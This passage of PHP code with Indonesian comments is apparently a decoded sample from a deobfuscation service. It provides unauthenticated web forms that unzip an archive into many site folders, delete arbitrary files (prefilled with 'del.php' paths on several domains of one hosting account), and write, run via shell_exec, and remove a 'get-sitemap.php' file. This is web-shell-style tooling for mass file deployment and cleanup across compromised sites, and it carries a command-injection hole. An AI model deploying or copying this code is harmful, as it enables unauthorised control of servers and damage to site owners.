echo "Berhasil mengekstrak file ZIP ke dalam folder \"$target\".<br>";
} else {
echo "Gagal mengekstrak file ZIP ke dalam folder \"$target\".<br>";
}
$zip->close();
} else {
echo "Gagal membuka file ZIP: $zip_file<br>";
}
} else {
echo "Folder \"$target\" tidak ada atau tidak dapat diakses.<br>";
}
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Unzip to Multiple Folders</title>
</head>
<body>
<h2>Unzip to Multiple Folders</h2>
<form method="post">
<label for="zipfile">File ZIP:</label><br>
<input type="text" id="zipfile" name="zipfile" value="cm999.zip" required><br><br>
<label for="targets">Target Folders (separate by newline):</label><br>
<textarea id="targets" name="targets" rows="5" cols="50" required>
</textarea><br><br>
<input type="submit" name="submit" value="Unzip to Folders">
</form>
</body>
</html>
<?php
if (isset($_POST['submit'])) {
// Daftar file yang akan dihapus
$files = explode("\n", $_POST['files']); // pisahkan daftar file dengan newline
// Inisialisasi variabel untuk menyimpan pesan sukses
$success_messages = array();
// Loop melalui setiap file dan hapus
foreach ($files as $file) {
$file = trim($file); // hilangkan whitespace
// Hapus file jika ada
if (file_exists($file)) {
if (unlink($file)) {
$success_messages[] = "Berhasil menghapus file: $file";
} else {
echo "Gagal menghapus file: $file<br>";
}
} else {
echo "File tidak ditemukan: $file<br>";
}
}
// Tampilkan pesan sukses yang terkumpul
foreach ($success_messages as $message) {
echo $message . "<br>";
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Delete Files</title>
</head>
<body>
<h2>Delete Files</h2>
<form method="post">
<label for="files">Files to Delete (separate by newline):</label><br>
<textarea id="files" name="files" rows="5" cols="50" required>
/home/u616186289/domains/digitalavengers.in/public_html/cmaster99/del.php
/home/u616186289/domains/divyachetnasatsang.com/public_html/cmaster99/del.php
/home/u616186289/domains/ojcure.co.in/public_html/cmaster99/del.php
/home/u616186289/domains/ojcure.com/public_html/cmaster99/del.php
</textarea><br><br>
<input type="submit" name="submit" value="Delete Files">
</form>
</body>
</html>
<?php
if (isset($_POST['submit'])) {
// Daftar lokasi di mana kita ingin membuat, menjalankan, dan menghapus file get-sitemap.php
$locations = explode("\n", $_POST['locations']); // Pisahkan daftar lokasi dengan newline
// Konten file get-sitemap.php yang akan dibuat dan dieksekusi
$sitemap_content = <<<EOD
<?php
// Isi dari get-sitemap.php
echo "Ini adalah file get-sitemap.php di " . __DIR__;
?>
EOD;
// Loop melalui setiap lokasi
foreach ($locations as $location) {
$location = trim($location); // Hilangkan whitespace
$filename = $location . 'get-sitemap.php';
// Buat file get-sitemap.php
if (file_put_contents($filename, $sitemap_content)) {
echo "Berhasil membuat file $filename<br>";
// Jalankan file get-sitemap.php
$output = shell_exec("php $filename");
echo "Output dari $filename:<br>$output<br>";
// Hapus file get-sitemap.php setelah dieksekusi
if (unlink($filename)) {
echo "Berhasil menghapus file $filename<br><br>";
} else {
echo "Gagal menghapus file $filename<br><br>";
}
} else {
echo "Gagal membuat file $filename<br><br>";
}
}
}
?>
Function Calls
None |
Stats
MD5 | bf7dbcf92e5e997ba387ae7c882a6fc4 |
Eval Count | 0 |
Decode Time | 51 ms |